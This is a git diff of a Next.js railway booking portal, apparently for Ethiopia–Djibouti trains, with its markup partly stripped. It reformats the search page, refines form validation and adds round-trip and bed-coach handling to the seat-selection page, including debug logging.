- ? 'bg-white dark:bg-gray-900 text-primary shadow-sm'
- : 'text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-gray-200'
+ tripType === "ONE_WAY"
+ ? "bg-white dark:bg-gray-900 text-primary shadow-sm"
+ : "text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-gray-200"
}`}
>
One Way
setValue('tripType', 'ROUND_TRIP')}
+ onClick={() => setValue("tripType", "ROUND_TRIP")}
className={`flex-1 md:flex-none px-6 py-2.5 rounded-lg text-sm font-semibold transition-all ${
- tripType === 'ROUND_TRIP'
- ? 'bg-white dark:bg-gray-900 text-primary shadow-sm'
- : 'text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-gray-200'
+ tripType === "ROUND_TRIP"
+ ? "bg-white dark:bg-gray-900 text-primary shadow-sm"
+ : "text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-gray-200"
}`}
>
Round Trip
@@ -669,73 +858,165 @@ export default function SearchPage() {
{/* Mobile: stacked */}
-
From
-
{ window.scrollTo({ top: 0, behavior: 'instant' as ScrollBehavior }); setStationModal('origin'); }} className="w-full">
-
+
+ From
+
+
{
+ setHasInteracted(true);
+ window.scrollTo({
+ top: 0,
+ behavior: "instant" as ScrollBehavior,
+ });
+ setStationModal("origin");
+ }}
+ className="w-full"
+ >
+
-
- {originStation?.name ?? 'Select departure'}
+
+ {originStation?.name ?? "Select departure"}
-
To
-
-
+
+ To
+
+
+
Swap
-
{ window.scrollTo({ top: 0, behavior: 'instant' as ScrollBehavior }); setStationModal('destination'); }} className="w-full">
-
+
{
+ setHasInteracted(true);
+ window.scrollTo({
+ top: 0,
+ behavior: "instant" as ScrollBehavior,
+ });
+ setStationModal("destination");
+ }}
+ className="w-full"
+ >
+
-
- {destStation?.name ?? 'Select destination'}
+
+ {destStation?.name ?? "Select destination"}
-
Date
+
+ Date
+
setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)}
- minDate={new Date()} placeholder="Select date"
+ value={
+ departureDate
+ ? new Date(departureDate + "T00:00:00")
+ : undefined
+ }
+ onChange={(date) => {
+ setValue(
+ "departureDate",
+ `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`,
+ );
+ trigger("departureDate");
+ }}
+ minDate={new Date()}
+ placeholder="Select date"
/>
- {tripType === 'ROUND_TRIP' && (
+ {tripType === "ROUND_TRIP" && (
-
Return Date
+
+ Return Date
+
setValue('returnDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)}
- minDate={departureDate ? new Date(departureDate + 'T00:00:00') : new Date()}
+ value={
+ returnDate
+ ? new Date(returnDate + "T00:00:00")
+ : undefined
+ }
+ onChange={(date) => {
+ setValue(
+ "returnDate",
+ `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`,
+ );
+ trigger("returnDate");
+ }}
+ minDate={
+ departureDate
+ ? new Date(departureDate + "T00:00:00")
+ : new Date()
+ }
placeholder="Select return date"
/>
- {errors.returnDate &&
{errors.returnDate.message}
}
+ {errors.returnDate && (
+
+ {errors.returnDate.message}
+
+ )}
)}
{/* Pax + Nationality combined trigger */}
- setPassengerModalOpen(true)}
- className="w-full flex items-center justify-between px-3.5 py-3 border-2 border-gray-200 rounded-xl bg-white">
+ setPassengerModalOpen(true)}
+ className="w-full flex items-center justify-between px-3.5 py-3 border-2 border-gray-200 rounded-xl bg-white"
+ >
- {totalPassengers} Pax · {watch('nationality') === 'ETHIOPIAN' ? '🇪🇹' : watch('nationality') === 'DJIBOUTIAN' ? '🇩🇯' : '🌍'}
+ {totalPassengers} Pax ·{" "}
+ {watch("nationality") === "ETHIOPIAN"
+ ? "🇪🇹"
+ : watch("nationality") === "DJIBOUTIAN"
+ ? "🇩🇯"
+ : "🌍"}
-
+
Search
@@ -743,59 +1024,132 @@ export default function SearchPage() {
{/* Desktop: dynamic layout based on trip type */}
- {tripType === 'ONE_WAY' ? (
+ {tripType === "ONE_WAY" ? (
// ONE WAY: Single row layout
{/* From */}
-
From
-
{ setValue('originStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.originStationId?.message} onOpen={scrollWidgetIntoView} />
- {errors.originStationId && {errors.originStationId.message}
}
+
+ From
+
+ {
+ setHasInteracted(true);
+ setValue("originStationId", s.id);
+ if (s.id) saveRecent(s.id);
+ clearErrors("originStationId");
+ clearErrors("destinationStationId");
+ }}
+ error={hasInteracted ? errors.originStationId?.message : undefined}
+ onOpen={scrollWidgetIntoView}
+ />
+ {hasInteracted && errors.originStationId && (
+
+ {errors.originStationId.message}
+
+ )}
{/* Swap */}
-
+
{/* To */}
-
To
-
{ setValue('destinationStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.destinationStationId?.message} onOpen={scrollWidgetIntoView} />
- {errors.destinationStationId && {errors.destinationStationId.message}
}
+
+ To
+
+ {
+ setHasInteracted(true);
+ setValue("destinationStationId", s.id);
+ if (s.id) saveRecent(s.id);
+ clearErrors("destinationStationId");
+ }}
+ error={hasInteracted ? errors.destinationStationId?.message : undefined}
+ onOpen={scrollWidgetIntoView}
+ />
+ {hasInteracted && errors.destinationStationId && (
+
+ {errors.destinationStationId.message}
+
+ )}
{/* Divider */}
{/* Date */}
-
Date
+
+ Date
+
setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)}
- minDate={new Date()} placeholder="Departure"
+ value={
+ departureDate
+ ? new Date(departureDate + "T00:00:00")
+ : undefined
+ }
+ onChange={(date) => {
+ setValue(
+ "departureDate",
+ `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`,
+ );
+ trigger("departureDate");
+ }}
+ minDate={new Date()}
+ placeholder="Departure"
/>
- {errors.departureDate &&
{errors.departureDate.message}
}
+ {errors.departureDate && (
+
+ {errors.departureDate.message}
+
+ )}
{/* Divider */}
{/* Pax + Nationality */}
- Passengers
- setPassengerModalOpen(true)}
- className="w-full flex items-center justify-between px-3 py-3.5 border-2 border-gray-200 rounded-xl bg-white hover:border-gray-300 transition-all">
+
+ Passengers
+
+ setPassengerModalOpen(true)}
+ className="w-full flex items-center justify-between px-3 py-3.5 border-2 border-gray-200 rounded-xl bg-white hover:border-gray-300 transition-all"
+ >
- {totalPassengers} Pax · {watch('nationality') === 'ETHIOPIAN' ? '🇪🇹' : watch('nationality') === 'DJIBOUTIAN' ? '🇩🇯' : '🌍'}
+ {totalPassengers} Pax ·{" "}
+ {watch("nationality") === "ETHIOPIAN"
+ ? "🇪🇹"
+ : watch("nationality") === "DJIBOUTIAN"
+ ? "🇩🇯"
+ : "🌍"}
{/* Search */}
-
+
Search
@@ -807,49 +1161,130 @@ export default function SearchPage() {
{/* From */}
-
From
-
{ setValue('originStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.originStationId?.message} onOpen={scrollWidgetIntoView} />
- {errors.originStationId && {errors.originStationId.message}
}
+
+ From
+
+ {
+ setHasInteracted(true);
+ setValue("originStationId", s.id);
+ if (s.id) saveRecent(s.id);
+ clearErrors("originStationId");
+ clearErrors("destinationStationId");
+ }}
+ error={hasInteracted ? errors.originStationId?.message : undefined}
+ onOpen={scrollWidgetIntoView}
+ />
+ {hasInteracted && errors.originStationId && (
+
+ {errors.originStationId.message}
+
+ )}
{/* Swap */}
-
+
{/* To */}
-
To
-
{ setValue('destinationStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.destinationStationId?.message} onOpen={scrollWidgetIntoView} />
- {errors.destinationStationId && {errors.destinationStationId.message}
}
+
+ To
+
+ {
+ setHasInteracted(true);
+ setValue("destinationStationId", s.id);
+ if (s.id) saveRecent(s.id);
+ clearErrors("destinationStationId");
+ }}
+ error={hasInteracted ? errors.destinationStationId?.message : undefined}
+ onOpen={scrollWidgetIntoView}
+ />
+ {hasInteracted && errors.destinationStationId && (
+
+ {errors.destinationStationId.message}
+
+ )}
{/* Divider */}
{/* Departure Date */}
-
Departure
+
+ Departure
+
setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)}
- minDate={new Date()} placeholder="Select date"
- />
-
- {errors.departureDate &&
{errors.departureDate.message}
}
-
- {/* Return Date */}
-
-
Return
-
- setValue('returnDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)}
- minDate={departureDate ? new Date(departureDate + 'T00:00:00') : new Date()}
+ value={
+ departureDate
+ ? new Date(departureDate + "T00:00:00")
+ : undefined
+ }
+ onChange={(date) => {
+ setValue(
+ "departureDate",
+ `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`,
+ );
+ trigger("departureDate");
+ trigger("returnDate");
+ }}
+ minDate={new Date()}
placeholder="Select date"
/>
- {errors.returnDate &&
{errors.returnDate.message}
}
+ {errors.departureDate && (
+
+ {errors.departureDate.message}
+
+ )}
+
+ {/* Return Date */}
+
+
+ Return
+
+
+ {
+ setValue(
+ "returnDate",
+ `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`,
+ );
+ trigger("returnDate");
+ }}
+ minDate={
+ departureDate
+ ? new Date(departureDate + "T00:00:00")
+ : new Date()
+ }
+ placeholder="Select date"
+ />
+
+ {errors.returnDate && (
+
+ {errors.returnDate.message}
+
+ )}
@@ -858,38 +1293,73 @@ export default function SearchPage() {
{/* Promo Code */}
- {!promoVisible ? 'Promo Code (Optional)' : 'Promo Code'}
+ {!promoVisible
+ ? "Promo Code (Optional)"
+ : "Promo Code"}
{!promoVisible ? (
-
setPromoVisible(true)}
- className="w-full flex items-center gap-1.5 px-3.5 py-3.5 border-2 border-gray-200 dark:border-gray-700 rounded-xl hover:border-primary transition-all bg-white dark:bg-gray-800 text-left">
+ setPromoVisible(true)}
+ className="w-full flex items-center gap-1.5 px-3.5 py-3.5 border-2 border-gray-200 dark:border-gray-700 rounded-xl hover:border-primary transition-all bg-white dark:bg-gray-800 text-left"
+ >
- Click to add promo code
+
+ Click to add promo code
+
) : (
{promoValidation && (
-
- {promoValidation.valid &&
}
+
+ {promoValidation.valid && (
+
+ )}
{promoValidation.message}
)}
@@ -900,21 +1370,36 @@ export default function SearchPage() {
{/* Pax + Nationality */}
- Passengers
- setPassengerModalOpen(true)}
- className="w-full flex items-center justify-between px-3 py-3.5 border-2 border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:border-gray-300 dark:hover:border-gray-600 transition-all">
+
+ Passengers
+
+ setPassengerModalOpen(true)}
+ className="w-full flex items-center justify-between px-3 py-3.5 border-2 border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:border-gray-300 dark:hover:border-gray-600 transition-all"
+ >
- {totalPassengers} Pax · {watch('nationality') === 'ETHIOPIAN' ? '🇪🇹' : watch('nationality') === 'DJIBOUTIAN' ? '🇩🇯' : '🌍'}
+ {totalPassengers} Pax ·{" "}
+ {watch("nationality") === "ETHIOPIAN"
+ ? "🇪🇹"
+ : watch("nationality") === "DJIBOUTIAN"
+ ? "🇩🇯"
+ : "🌍"}
{/* Search Button */}
- Search
-
+
+ Search
+
+
Search
@@ -925,11 +1410,14 @@ export default function SearchPage() {
{/* Promo - Only visible in ONE WAY mode on desktop */}
- {tripType === 'ONE_WAY' && (
+ {tripType === "ONE_WAY" && (
{!promoVisible ? (
-
setPromoVisible(true)}
- className="flex items-center gap-1.5 text-xs text-primary font-medium hover:underline">
+ setPromoVisible(true)}
+ className="flex items-center gap-1.5 text-xs text-primary font-medium hover:underline"
+ >
Apply Promo Code
@@ -938,25 +1426,49 @@ export default function SearchPage() {
{promoValidation && (
-
- {promoValidation.valid &&
}
+
+ {promoValidation.valid && (
+
+ )}
{promoValidation.message}
)}
@@ -964,7 +1476,6 @@ export default function SearchPage() {
)}
)}
-
@@ -978,12 +1489,18 @@ export default function SearchPage() {
-
Popular Routes
+
+ Popular Routes
+
{POPULAR_ROUTES.map((route, idx) => (
-
handlePopularRoute(route.from, route.to)}
- className="bg-white dark:bg-gray-900 border border-gray-200 dark:border-gray-800 rounded-xl p-4 hover:border-primary hover:shadow-md transition-all text-left active:scale-95">
+ handlePopularRoute(route.from, route.to)}
+ className="bg-white dark:bg-gray-900 border border-gray-200 dark:border-gray-800 rounded-xl p-4 hover:border-primary hover:shadow-md transition-all text-left active:scale-95"
+ >
{route.icon}
{route.from}
@@ -1007,16 +1524,21 @@ export default function SearchPage() {
🎁
-
Offers & Promotions
+
+ Offers & Promotions
+
-
{/* Wide promo card */}
-
+
@@ -1024,14 +1546,19 @@ export default function SearchPage() {
Limited Time
- 20% Off Weekend Travel
+ 20% Off Weekend
+
+ Travel
- Book any weekend journey and save 20%. Valid for all seat classes.
+ Book any weekend journey and save 20%. Valid for all seat
+ classes.
-
Valid until 31 Dec 2024
+
+ Valid until 31 Dec 2024
+
Book now
@@ -1046,9 +1573,15 @@ export default function SearchPage() {
-
New
-
Family Package
-
4 tickets for the price of 3
+
+ New
+
+
+ Family Package
+
+
+ 4 tickets for the price of 3
+
@@ -1063,9 +1596,15 @@ export default function SearchPage() {
-
Student
-
Student Discount
-
15% off with valid student ID
+
+ Student
+
+
+ Student Discount
+
+
+ 15% off with valid student ID
+
@@ -1075,7 +1614,6 @@ export default function SearchPage() {
-
@@ -1083,10 +1621,49 @@ export default function SearchPage() {
);
diff --git a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx
index 3cdcba6c1..3cd9db800 100644
--- a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx
+++ b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx
@@ -47,7 +47,7 @@ SeatButton.displayName = 'SeatButton';
export default function SeatsPage() {
const router = useRouter();
- const { selectedSchedule, passengers, setSeatHold, setPassengers, searchCriteria, bookingId } = useBookingStore();
+ const { selectedSchedule, outboundSchedule, inboundSchedule, passengers, setSeatHold, setPassengers, searchCriteria, bookingId } = useBookingStore();
const [selectedSeats, setSelectedSeats] = useState
([]);
const [selectedCoach, setSelectedCoach] = useState(null);
const [currentJourneyType, setCurrentJourneyType] = useState<'outbound' | 'inbound'>('outbound');
@@ -59,11 +59,36 @@ export default function SeatsPage() {
});
const isRoundTrip = searchCriteria?.tripType === 'ROUND_TRIP';
+ const currentSchedule = isRoundTrip && currentJourneyType === 'inbound' ? inboundSchedule : (isRoundTrip ? outboundSchedule : selectedSchedule);
+ const coachId = (currentSchedule as any)?.selectedCoachId;
+ const coachTypeCode = (currentSchedule as any)?.selectedCoachTypeCode;
const { data: seatMapData, isLoading, error } = useQuery({
- queryKey: ['seatmap', selectedSchedule?.id],
- queryFn: () => apiClient.get(`/seats/seatmap/${selectedSchedule?.id}`),
- enabled: !!selectedSchedule?.id,
+ queryKey: ['seatmap', currentSchedule?.id, coachId, currentJourneyType],
+ queryFn: async () => {
+ const endpoint = `/seats/seatmap/${currentSchedule?.id}?coachId=${coachId}`;
+ console.log('🪑 Seatmap Request:', {
+ endpoint,
+ scheduleId: currentSchedule?.id,
+ coachId,
+ coachTypeCode,
+ currentJourneyType,
+ });
+
+ const response = await apiClient.get(endpoint);
+
+ console.log('✅ Seatmap Response:', {
+ endpoint,
+ fullResponse: response,
+ dataCoaches: (response as any)?.data?.coaches?.length || 0,
+ rootCoaches: (response as any)?.coaches?.length || 0,
+ });
+
+ const finalData = (response as any)?.data || response;
+ console.log('🎯 Final data structure:', finalData);
+ return finalData;
+ },
+ enabled: !!currentSchedule?.id && !!coachId,
});
const holdMutation = useMutation({
@@ -79,7 +104,7 @@ export default function SeatsPage() {
const destinationId = isInbound ? searchCriteria?.originStationId : searchCriteria?.destinationStationId;
return apiClient.post(`/seats/hold`, {
- scheduleId: selectedSchedule?.id,
+ scheduleId: currentSchedule?.id,
originStationId: originId,
destinationStationId: destinationId,
passengers: passengersForHold,
@@ -105,23 +130,41 @@ export default function SeatsPage() {
},
});
- const coaches = useMemo(() => (seatMapData as any)?.coaches || [], [seatMapData]);
+ const coaches = useMemo(() => {
+ const rawCoaches = (seatMapData as any)?.coaches || (seatMapData as any)?.data?.coaches || [];
+ console.log('📦 Raw coaches data:', {
+ fromRoot: (seatMapData as any)?.coaches?.length || 0,
+ fromData: (seatMapData as any)?.data?.coaches?.length || 0,
+ using: rawCoaches.length,
+ seatMapData
+ });
+ return rawCoaches;
+ }, [seatMapData]);
const filteredCoaches = useMemo(() => {
- if (!selectedSchedule?.selectedSeatClass) {
- return coaches.filter((c: any) => c.seats && c.seats.length > 0);
+ console.log('🔍 Filtering coaches:', {
+ totalCoaches: coaches.length,
+ selectedSeatClass: currentSchedule?.selectedSeatClass,
+ coachesData: coaches.map((c: any) => ({
+ id: c.id,
+ name: c.name,
+ label: c.label,
+ seatClass: c.seatClass,
+ seatClasses: c.seatClasses,
+ seatsCount: c.seats?.length || 0
+ }))
+ });
+
+ const coachesWithSeats = coaches.filter((c: any) => c.seats && c.seats.length > 0);
+
+ if (!currentSchedule?.selectedSeatClass) {
+ console.log('✅ No filter applied, returning all coaches:', coachesWithSeats.length);
+ return coachesWithSeats;
}
- let filtered = coaches.filter((c: any) => {
- const seatClasses = c.seatClasses || [c.seatClass] || [];
- return seatClasses.some((seatClassName: string) =>
- seatClassName === selectedSchedule.selectedSeatClass ||
- seatClassName.replace(/_/g, ' ').toLowerCase() === selectedSchedule.selectedSeatClass?.toLowerCase() ||
- seatClassName.toLowerCase() === selectedSchedule.selectedSeatClass?.toLowerCase()
- );
- });
- return filtered.filter((c: any) => c.seats && c.seats.length > 0);
- }, [coaches, selectedSchedule?.selectedSeatClass]);
+ console.log('✅ No seat class filter - returning all coaches with seats:', coachesWithSeats.length);
+ return coachesWithSeats;
+ }, [coaches, currentSchedule?.selectedSeatClass]);
useEffect(() => {
if (filteredCoaches.length > 0 && !selectedCoach) {
@@ -141,18 +184,21 @@ export default function SeatsPage() {
};
const validSeats = useMemo(() => {
- let seats = allSeats.filter((s: any) => s.seatNumber && !s.seatNumber.startsWith('-'));
+ let seats = allSeats.filter((s: any) => {
+ const seatLabel = s.label || s.number || s.seatNumber || '';
+ return seatLabel && !seatLabel.startsWith('-');
+ });
const isBedCoach = selectedCoachData?.seatClass?.toLowerCase().includes('bed') || selectedCoachData?.mode?.toLowerCase().includes('bed');
- if (isBedCoach && selectedSchedule?.selectedSeatClass) {
- const selectedBedPosition = getBedPosition(selectedSchedule.selectedSeatClass);
+ if (isBedCoach && currentSchedule?.selectedSeatClass) {
+ const selectedBedPosition = getBedPosition(currentSchedule.selectedSeatClass);
if (selectedBedPosition) {
seats = seats.filter((s: any) => s.bedPosition === selectedBedPosition);
}
}
return seats;
- }, [allSeats, selectedCoachData, selectedSchedule?.selectedSeatClass]);
+ }, [allSeats, selectedCoachData, currentSchedule?.selectedSeatClass]);
const handleSeatClick = useCallback((seatId: string) => {
setSelectedSeats(prev => {
@@ -166,7 +212,6 @@ export default function SeatsPage() {
const handleContinue = async () => {
if (isRoundTrip && currentJourneyType === 'outbound') {
- // Save outbound seats and show inbound
if (selectedSeats.length > 0) {
try {
await holdMutation.mutateAsync(selectedSeats);
@@ -174,8 +219,8 @@ export default function SeatsPage() {
const seatData = validSeats?.find((s: any) => s.id === selectedSeats[i]);
return {
...p,
- seatId: selectedSeats[i],
- seatNumber: seatData?.number || seatData?.label || seatData?.seatNumber || '',
+ outboundSeatId: selectedSeats[i],
+ outboundSeatNumber: seatData?.number || seatData?.label || seatData?.seatNumber || '',
};
});
setPassengers(updatedPassengers);
@@ -195,12 +240,18 @@ export default function SeatsPage() {
return;
}
- // Final continue (one-way or round-trip inbound)
if (selectedSeats.length > 0) {
try {
await holdMutation.mutateAsync(selectedSeats);
const updatedPassengers = passengers.map((p, i) => {
const seatData = validSeats?.find((s: any) => s.id === selectedSeats[i]);
+ if (isRoundTrip && currentJourneyType === 'inbound') {
+ return {
+ ...p,
+ inboundSeatId: selectedSeats[i],
+ inboundSeatNumber: seatData?.number || seatData?.label || seatData?.seatNumber || '',
+ };
+ }
return {
...p,
seatId: selectedSeats[i],
@@ -264,10 +315,16 @@ export default function SeatsPage() {
};
useEffect(() => {
- if (!selectedSchedule || !passengers.length) {
- router.push('/booking/search');
+ if (isRoundTrip) {
+ if (!outboundSchedule || !inboundSchedule || !passengers.length) {
+ router.push('/booking/search');
+ }
+ } else {
+ if (!selectedSchedule || !passengers.length) {
+ router.push('/booking/search');
+ }
}
- }, [selectedSchedule, passengers.length, router]);
+ }, [isRoundTrip, selectedSchedule, outboundSchedule, inboundSchedule, passengers.length, router]);
useEffect(() => {
if (bookingId && selectedSeats.length > 0) {
@@ -276,10 +333,22 @@ export default function SeatsPage() {
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [bookingId]);
- const parseSeatArrangement = (arrangement: string | null): number[] => {
+ const parseSeatArrangement = (arrangement: string | null, seatClasses?: string[]): number[] => {
if (!arrangement) return [2, 2];
- const parts = arrangement.split('+').map(p => parseInt(p.trim()));
- return parts.length === 2 ? parts : [2, 2];
+
+ // Check if this is a bed coach based on seat classes
+ const isBedCoach = seatClasses?.some(sc => sc?.toLowerCase().includes('bed'));
+
+ if (isBedCoach) {
+ // For bed coaches, arrangement like "3+0" means 3 beds stacked vertically
+ // We want to render them as single column, so return [1]
+ const parts = arrangement.split('+').map(p => parseInt(p.trim())).filter(n => !isNaN(n) && n > 0);
+ return parts.length > 0 ? [Math.max(...parts)] : [3];
+ }
+
+ // For regular seats, parse normally (e.g., "3+2" -> [3, 2])
+ const parts = arrangement.split('+').map(p => parseInt(p.trim())).filter(n => !isNaN(n) && n > 0);
+ return parts.length >= 2 ? parts : parts.length === 1 ? [parts[0]] : [2, 2];
};
const getBedLabel = (bedPosition: string | null): string => {
@@ -290,8 +359,7 @@ export default function SeatsPage() {
};
const renderCoachSeats = (coach: any, isBedCoach: boolean) => {
- const arrangement = parseSeatArrangement(coach.seatArrangement);
- const leftCount = arrangement[0];
+ const arrangement = parseSeatArrangement(coach.seatArrangement, coach.seatClasses || [coach.seatClass]);
if (validSeats.length === 0) {
return No seats
;
@@ -300,36 +368,91 @@ export default function SeatsPage() {
const hasBedPositionData = validSeats.some((s: any) => s.bedPosition);
const seatClassStr = typeof selectedCoachData?.seatClass === 'string' ? selectedCoachData.seatClass : (selectedCoachData?.seatClass?.name || '');
+ // Bed coach with bed positions (Upper, Middle, Lower)
if (isBedCoach && hasBedPositionData) {
+ // Group by the base seat number (column), not by row
+ // For beds, seats with same number but different positions should be grouped together
+ const seatGroups = new Map();
+
+ for (const seat of validSeats) {
+ const baseNumber = seat.seatNumber || seat.number || seat.label || '';
+ if (!seatGroups.has(baseNumber)) {
+ seatGroups.set(baseNumber, []);
+ }
+ seatGroups.get(baseNumber)!.push(seat);
+ }
+
+ // Sort groups by seat number
+ const sortedGroups = Array.from(seatGroups.entries())
+ .sort(([a], [b]) => {
+ const numA = parseInt(a) || 0;
+ const numB = parseInt(b) || 0;
+ return numA - numB;
+ });
+
return (
-
- {validSeats.map((seat: any) => {
- const rowNumber = seat.row || 1;
- const shouldFlipIcon = rowNumber % 2 === 0;
+
+ {sortedGroups.map(([seatNumber, beds], idx) => {
+ const shouldFlipIcon = idx % 2 === 0;
+
+ // Order: lower, middle, upper (bottom to top)
+ const orderedBeds = ['lower', 'middle', 'upper']
+ .map(pos => beds.find(seat => seat.bedPosition === pos))
+ .filter(seat => seat !== undefined);
+
+ if (orderedBeds.length === 0) return null;
return (
-
- {shouldFlipIcon && (
-
- {seat.seatNumber && !seat.seatNumber.startsWith('-') ? `${seat.seatNumber}${getBedLabel(seat.bedPosition)}` : ''}
+
+
+ {shouldFlipIcon && (
+
+ {orderedBeds.map((seat: any) => {
+ const seatLabel = seat.seatNumber || seat.number || seat.label || '';
+ const bedLabelFull = seat.bedPosition ? (
+ seat.bedPosition === 'upper' ? 'Upper' :
+ seat.bedPosition === 'middle' ? 'Middle' : 'Lower'
+ ) : '';
+ return (
+
+ {seatLabel ? `${seatLabel} ${bedLabelFull}` : ''}
+
+ );
+ })}
+
+ )}
+
+
+ {orderedBeds.map((seat: any) => (
+
+ ))}
- )}
-
-
+
+ {!shouldFlipIcon && (
+
+ {orderedBeds.map((seat: any) => {
+ const seatLabel = seat.seatNumber || seat.number || seat.label || '';
+ const bedLabelFull = seat.bedPosition ? (
+ seat.bedPosition === 'upper' ? 'Upper' :
+ seat.bedPosition === 'middle' ? 'Middle' : 'Lower'
+ ) : '';
+ return (
+
+ {seatLabel ? `${seatLabel} ${bedLabelFull}` : ''}
+
+ );
+ })}
+
+ )}
- {!shouldFlipIcon && (
-
- {seat.seatNumber && !seat.seatNumber.startsWith('-') ? `${seat.seatNumber}${getBedLabel(seat.bedPosition)}` : ''}
-
- )}
);
})}
@@ -337,68 +460,64 @@ export default function SeatsPage() {
);
}
- const rows = [];
- const processedRows = new Set();
+ // Regular seats with row/column arrangement
+ const rowMap = new Map
();
for (const seat of validSeats) {
- if (!processedRows.has(seat.row)) {
- rows.push(validSeats.filter((s: any) => s.row === seat.row).sort((a: any, b: any) => {
- const colA = a.col.charCodeAt(0);
- const colB = b.col.charCodeAt(0);
- return colA - colB;
- }));
- processedRows.add(seat.row);
+ if (!rowMap.has(seat.row)) {
+ rowMap.set(seat.row, []);
}
+ rowMap.get(seat.row)!.push(seat);
}
+ const rows = Array.from(rowMap.entries())
+ .sort(([a], [b]) => a - b)
+ .map(([_, seats]) => seats.sort((a, b) => a.col.localeCompare(b.col)));
+
return (
{rows.map((rowSeats: any[], rowIdx: number) => {
- const leftSeats = rowSeats.slice(0, leftCount);
- const rightSeats = rowSeats.slice(leftCount);
+ const groups: any[][] = [];
+
+ // Split seats into groups based on arrangement
+ if (arrangement.length === 1) {
+ // Single group (all seats together)
+ groups.push(rowSeats);
+ } else {
+ // Multiple groups with aisle separation
+ arrangement.forEach((_groupSize, groupIdx) => {
+ const startIdx = arrangement.slice(0, groupIdx).reduce((sum, size) => sum + size, 0);
+ const endIdx = arrangement.slice(0, groupIdx + 1).reduce((sum, size) => sum + size, 0);
+ const currentGroup = rowSeats.slice(startIdx, endIdx);
+ if (currentGroup.length > 0) groups.push(currentGroup);
+ });
+ }
+
const rowNumber = rowSeats[0]?.row || 1;
const shouldFlipArmchair = rowNumber % 2 === 0;
const showSpacing = rowIdx % 2 === 1;
return (
-
+
{shouldFlipArmchair && (
-
-
- {leftSeats.map((seat: any) => (
-
- {seat.seatNumber && !seat.seatNumber.startsWith('-') ? seat.seatNumber : ''}
-
- ))}
-
- {rightSeats.length > 0 &&
}
- {rightSeats.length > 0 && (
-
- {rightSeats.map((seat: any) => (
-
- {seat.seatNumber && !seat.seatNumber.startsWith('-') ? seat.seatNumber : ''}
-
- ))}
+
+ {groups.map((group, gIdx) => (
+
+ {group.map((seat: any) => {
+ const seatLabel = seat.label || seat.number || seat.seatNumber || '';
+ return (
+
+ {seatLabel}
+
+ );
+ })}
- )}
-
- )}
-
-
- {leftSeats.map((seat: any) => (
-
))}
- {rightSeats.length > 0 &&
}
- {rightSeats.length > 0 && (
-
- {rightSeats.map((seat: any) => (
+ )}
+
+ {groups.map((group, gIdx) => (
+
+ {group.map((seat: any) => (
))}
- )}
+ ))}
{!shouldFlipArmchair && (
-
-
- {leftSeats.map((seat: any) => (
-
- {seat.seatNumber && !seat.seatNumber.startsWith('-') ? seat.seatNumber : ''}
-
- ))}
-
- {rightSeats.length > 0 &&
}
- {rightSeats.length > 0 && (
-
- {rightSeats.map((seat: any) => (
-
- {seat.seatNumber && !seat.seatNumber.startsWith('-') ? seat.seatNumber : ''}
-
- ))}
+
+ {groups.map((group, gIdx) => (
+
+ {group.map((seat: any) => {
+ const seatLabel = seat.label || seat.number || seat.seatNumber || '';
+ return (
+
+ {seatLabel}
+
+ );
+ })}
- )}
+ ))}
)}
- {showSpacing &&
}
+ {showSpacing &&
}
);
})}
@@ -444,6 +559,23 @@ export default function SeatsPage() {
if (!selectedSchedule || !passengers.length) return null;
+ if (!coachId) {
+ return (
+
+
+
No coach selected
+
Please go back and select a coach type
+
router.push('/booking/results')}
+ className="btn-primary"
+ >
+ Back to Results
+
+
+
+ );
+ }
+
const allSelected = selectedSeats.length === passengers.length;
const isBedCoach = selectedCoachData?.seatClass?.toLowerCase().includes('bed') || selectedCoachData?.mode?.toLowerCase().includes('bed');
@@ -595,8 +727,8 @@ export default function SeatsPage() {
const coachSeats = coach.seats?.filter((s: any) => s.seatNumber && !s.seatNumber.startsWith('-')) || [];
const isBed = coach.seatClass?.toLowerCase().includes('bed') || coach.mode?.toLowerCase().includes('bed');
let fSeats = coachSeats;
- if (isBed && selectedSchedule?.selectedSeatClass) {
- const bedPos = getBedPosition(selectedSchedule.selectedSeatClass);
+ if (isBed && currentSchedule?.selectedSeatClass) {
+ const bedPos = getBedPosition(currentSchedule.selectedSeatClass);
if (bedPos) fSeats = coachSeats.filter((s: any) => s.bedPosition === bedPos);
}
const available = fSeats.filter((s: any) => s.status === 'AVAILABLE').length;
diff --git a/apps/edr-passenger-web/portal/src/app/globals.css b/apps/edr-passenger-web/portal/src/app/globals.css
index cf9ebe719..9714d54bc 100644
--- a/apps/edr-passenger-web/portal/src/app/globals.css
+++ b/apps/edr-passenger-web/portal/src/app/globals.css
@@ -30,7 +30,13 @@
}
